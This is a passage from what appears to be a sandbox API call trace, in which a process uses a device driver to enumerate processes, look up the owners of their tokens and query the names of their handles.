lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.635] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.635] PsAcquireProcessExitSynchronization () returned 0x0 [0137.635] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880054735d0) [0137.635] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.635] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.635] PsReleaseProcessExitSynchronization () returned 0x2 [0137.635] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0137.635] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.635] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.635] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.635] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.635] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x960) returned 0xc0 [0137.635] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.635] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002042b30, HandleInformation=0x0) returned 0x0 [0137.635] ObOpenObjectByPointer (in: Object=0xfffffa8002042b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.635] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x12 [0137.635] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.635] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.635] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.635] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.635] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.637] CloseHandle (hObject=0xc8) returned 1 [0137.637] CloseHandle (hObject=0xc0) returned 1 [0137.637] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.637] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.637] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.637] PsAcquireProcessExitSynchronization () returned 0x0 [0137.637] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880054735d0) [0137.637] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800203d8f0, HandleInformation=0x0) returned 0x0 [0137.637] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.637] PsReleaseProcessExitSynchronization () returned 0x2 [0137.637] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0137.637] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.637] ObfDereferenceObject (Object=0xfffffa800203d8f0) returned 0x1 [0137.637] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.637] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.637] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.637] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.637] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.637] PsAcquireProcessExitSynchronization () returned 0x0 [0137.637] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880054735d0) [0137.637] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002043a20, HandleInformation=0x0) returned 0x0 [0137.637] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.637] PsReleaseProcessExitSynchronization () returned 0x2 [0137.637] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0137.637] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.638] ObfDereferenceObject (Object=0xfffffa8002043a20) returned 0x1 [0137.638] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.638] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.638] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.638] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.638] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.638] PsAcquireProcessExitSynchronization () returned 0x0 [0137.638] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880054735d0) [0137.638] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.638] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.638] PsReleaseProcessExitSynchronization () returned 0x2 [0137.638] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0137.638] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.638] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.638] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.638] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.638] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x970) returned 0xc0 [0137.638] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.638] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800205a7d0, HandleInformation=0x0) returned 0x0 [0137.638] ObOpenObjectByPointer (in: Object=0xfffffa800205a7d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.638] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x12 [0137.638] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.638] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.638] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.638] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.638] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.640] CloseHandle (hObject=0xc8) returned 1 [0137.640] CloseHandle (hObject=0xc0) returned 1 [0137.640] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.640] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.640] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.640] PsAcquireProcessExitSynchronization () returned 0x0 [0137.640] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880054735d0) [0137.640] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002059100, HandleInformation=0x0) returned 0x0 [0137.640] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.640] PsReleaseProcessExitSynchronization () returned 0x2 [0137.640] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0137.640] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0137.640] ObfDereferenceObject (Object=0xfffffa8002059100) returned 0x1 [0137.640] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.640] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.640] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.640] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0137.640] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.640] PsAcquireProcessExitSynchronization () returned 0x0 [0137.641] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880054735d0) [0137.641] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800206a400, HandleInformation=0x0) returned 0x0 [0137.641] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.641] PsReleaseProcessExitSynchronization () returned 0x2 [0137.641] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0137.641] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0137.641] ObfDereferenceObject (Object=0xfffffa800206a400) returned 0x1 [0137.641] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.641] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.641] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.641] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.641] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.641] PsAcquireProcessExitSynchronization () returned 0x0 [0137.641] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880054735d0) [0137.641] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.641] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.641] PsReleaseProcessExitSynchronization () returned 0x2 [0137.641] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0137.641] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.641] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.641] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.641] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.641] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x980) returned 0xc0 [0137.641] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.641] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002087b30, HandleInformation=0x0) returned 0x0 [0137.641] ObOpenObjectByPointer (in: Object=0xfffffa8002087b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.641] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x12 [0137.641] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.641] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.641] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.642] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.642] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.643] CloseHandle (hObject=0xc8) returned 1 [0137.643] CloseHandle (hObject=0xc0) returned 1 [0137.643] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.643] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.643] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.643] PsAcquireProcessExitSynchronization () returned 0x0 [0137.643] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880054735d0) [0137.643] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002085ae0, HandleInformation=0x0) returned 0x0 [0137.643] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.643] PsReleaseProcessExitSynchronization () returned 0x2 [0137.643] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0137.643] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.643] ObfDereferenceObject (Object=0xfffffa8002085ae0) returned 0x1 [0137.643] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.643] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.643] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.643] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x92, lpOverlapped=0x0) returned 1 [0137.643] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.643] PsAcquireProcessExitSynchronization () returned 0x0 [0137.644] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880054735d0) [0137.644] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020dd640, HandleInformation=0x0) returned 0x0 [0137.644] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.644] PsReleaseProcessExitSynchronization () returned 0x2 [0137.644] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0137.644] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.644] ObfDereferenceObject (Object=0xfffffa80020dd640) returned 0x1 [0137.644] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.644] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.644] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.644] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.644] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.644] PsAcquireProcessExitSynchronization () returned 0x0 [0137.644] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880054735d0) [0137.644] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.644] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.644] PsReleaseProcessExitSynchronization () returned 0x2 [0137.644] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0137.644] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800384d744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800384d744, ReturnLength=0xfffff88005473550) returned 0x0 [0137.644] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.644] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.644] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.644] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x990) returned 0xc0 [0137.644] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.644] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800208db30, HandleInformation=0x0) returned 0x0 [0137.644] ObOpenObjectByPointer (in: Object=0xfffffa800208db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.644] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x12 [0137.644] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.644] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.644] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.645] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.645] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.646] CloseHandle (hObject=0xc8) returned 1 [0137.646] CloseHandle (hObject=0xc0) returned 1 [0137.646] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.646] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.646] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.646] PsAcquireProcessExitSynchronization () returned 0x0 [0137.646] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880054735d0) [0137.646] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 